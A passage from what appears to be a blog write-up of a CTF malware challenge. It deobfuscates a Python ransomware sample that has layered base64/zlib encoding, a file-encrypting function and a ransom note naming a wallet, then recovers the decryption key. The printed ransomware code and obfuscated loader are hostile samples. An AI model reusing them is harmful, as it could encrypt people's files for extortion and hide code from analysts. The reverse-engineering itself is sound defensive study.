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'))
Ohhh, now this leaves us two important functions :
- encrypt_files
def encrypt_files(lsoeiuw): for file in glob.glob(f"{lsoeiuw}/*.txt"): with open(file, "r", encoding="utf-8") as f: data = f.read() ldoeigtt = ksii344(data, ouiiiiiiiiipppppppppppppppp) with open(file, "w", encoding="utf-8") as f: f.write(ldoeigtt) print(f"You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.")
It does a simple encryption of .txt
files using the ksii344
function, and then prints You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.
Interesting, but what is the ksii344
? its the same function used for shredding, except it doesnt include a seperator. (VIGENERE)
- lambda
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));print((_)(b'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'))
This obfuscation is very known, its typically an online tool.
How to deobfuscate it? we can simply create a program for it or just google a bit, if we decode the base64 payload, we find another encoded exec …
I created one
decode_obfuscated = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])) string = 'iwnFq9z++//PyXJuhgcjGvfnmktov.........' for i in range(100): try: temp = decode_obfuscated(string) string = temp[11:-3] except: print(temp) print(string) break
after beautifying the result code, we get
if __name__ == "__main__": with open("env", "r") as djts: lkj = djts.read()[:-1] env = lkj ouiiiiiiiiipppppppppppppppp = lllllllllllllll("h@YJ@H--FEON|||S..P@##ENJJ__SRfeiois@@jw#re1f--1ed-es").replace('_', '').replace('.', '').replace('|', '').replace('1', '').replace('-', '').replace('#', '').replace('@', '') sowiaaaandowTgsRETfs = lllllllllllllll("@r@3_w_0#1l___T...|....|..Ide||||@#e##||...............r---------h_S")[::-1].replace('_', '').replace('.', '').replace('|', '').replace('1', '').replace('-', '').replace('#', '').replace('@', '') XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI() encrypt_files(os.path.expanduser("."))
Niice, now the malware is fully recovered, lets hunt for the key that encryppts the .txt
files, as a remainder the env = lkj
is the seperator.
The ouiiiiiiiiipppppppppppppppp
seems to contain the data hYJHFEONSPENJJSRfeioisjwrefedes
, also the sowiaaaandowTgsRETfs
variable that after decoding it we got the key ShreedITl0w3r
used for shredding (we found previously).
So finally we found that hYJHFEONSPENJJSRfeioisjwrefedes
is the key to decrypt the encrypted files.
ANALYSIS DONE. Hope you got it.
From Confusion to Clarity: The Hunting Process
Because they make reverse engineering and static analysis much more difficult, obfuscation and shredding techniques are essential in malware development and CTF challenge design. These techniques cause layers of confusion for analysts by encoding strings in complex ways, hiding meaningful variable names, adding redundant or misleading code, and dynamically assembling crucial data at runtime. Obfuscation and shredding are effective tools for evasion and educational challenge crafting because they not only postpone detection and comprehension but also make it difficult for the reverse engineer to discern between actual functionality and noise.
I hope you got some knowledge from this blog, and in other blog INCHAALAH.